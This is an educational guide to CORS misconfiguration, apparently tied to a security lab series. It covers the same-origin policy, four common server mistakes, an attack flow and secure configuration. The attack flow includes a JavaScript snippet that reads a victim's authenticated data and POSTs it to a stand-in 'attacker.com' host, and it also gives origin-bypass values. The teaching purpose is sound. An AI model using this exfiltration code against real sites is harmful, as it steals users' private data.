CORS Misconfiguration Guide

Learn how Cross-Origin Resource Sharing (CORS) works, how it breaks, and how attackers exploit misconfigured origins.

๐ŸŽฏ What is the Same-Origin Policy (SOP)?

For security, browsers restrict scripts running on one origin from accessing data on another origin. Origins are defined as: scheme://domain:port

https://example.com โ€” different from: https://example.com:8443 (different port) http://example.com (different scheme) https://sub.example.com (different subdomain)

This prevents malicious sites from stealing your credentials and data.

๐Ÿ“ก What is CORS?

CORS (Cross-Origin Resource Sharing) is the controlled mechanism that *allows* cross-origin requests when configured correctly. The server explicitly tells the browser: "Yes, I allow requests from this other origin."

CORS is implemented via HTTP headers:

Response: Access-Control-Allow-Origin: https://trusted-origin.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT
๐Ÿ’ฅ How CORS Misconfiguration Happens

Developers often misunderstand CORS and configure it too permissively:

โŒ Mistake 1: Echo Origin Header
Code: Access-Control-Allow-Origin: [whatever the Origin header says]
Attack: Send Origin: https://attacker.com โ†’ Response allows it
Result: Any site can read your data if you visit it authenticated
โŒ Mistake 2: Wildcard with Credentials
Code: Access-Control-Allow-Origin: *
        Access-Control-Allow-Credentials: true
Issue: Wildcard and credentials contradict; browser may enforce stricter rules
โŒ Mistake 3: Substring/Prefix Matching
Code: If Origin contains 'example.com': allow
Attack: Origin: https://example.com.attacker.com
Result: Validation passes, attacker bypasses CORS
โŒ Mistake 4: Null Origin
Code: Access-Control-Allow-Origin: null
Attack: Open file:// or data: URIs can have null origin
Result: Local file access or data URL attacks read data
๐Ÿ” CORS Attack Flow

1. Attacker hosts malicious page: https://attacker.com/steal.html

2. Victim visits attacker site while logged into vulnerable app: The victim's browser still has valid session cookies for vulnerable-app.com

3. JavaScript sends cross-origin request:

fetch('https://vulnerable-app.com/api/user-data', { credentials: 'include' // Include cookies! }).then(r => r.json()).then(data => { // Send to attacker's server fetch('https://attacker.com/log', { method: 'POST', body: JSON.stringify(data) }) })

4. Browser checks CORS headers: If vulnerable-app returns "Access-Control-Allow-Origin: *" or echoes attacker.com, it allows the request

5. Attacker exfiltrates data: Victim's sensitive data (profile, messages, financial info) sent to attacker

โš ๏ธ Real Attack Scenarios
  • Data Theft: Steal user profiles, private messages, financial data
  • CSRF Amplified: CORS misconfiguration makes CSRF attacks much easier (bypass SOP)
  • API Abuse: Authenticated API calls made on victim's behalf
  • Cache Poisoning: Store malicious responses for other users
๐Ÿ›ก๏ธ How to Configure CORS Securely
  • โœ… Whitelist specific origins: Access-Control-Allow-Origin: https://trusted.com
  • โœ… Validate regexes carefully: Match exact domain + subdomain patterns, not substrings
  • โœ… Combine credentials carefully: Never use * with credentials=true; use specific origins
  • โœ… Don't allow null origin: Never set Access-Control-Allow-Origin: null
  • โœ… Restrict methods: Only allow necessary HTTP methods (GET, POST, etc.)
  • โœ… Restrict headers: Only expose necessary response headers
  • โœ… Validate on server: CORS is defense-in-depth; validate on server regardless
๐Ÿ“š Real-World Examples

Facebook (2013): Misconfigured CORS allowed anyone to read user data via JavaScript

Yahoo (2014): CORS allowed cross-origin access to sensitive APIs

Many startups: Reflective Origin Echo โ€” Developers echo the Origin header without validation

๐Ÿงช Lab Progression

Lab 00 - Origin Reflection: Exploit a server that echoes back the Origin header for credentials=true

Lab 10 - Weak Validation Bypass: Bypass substring-based origin validation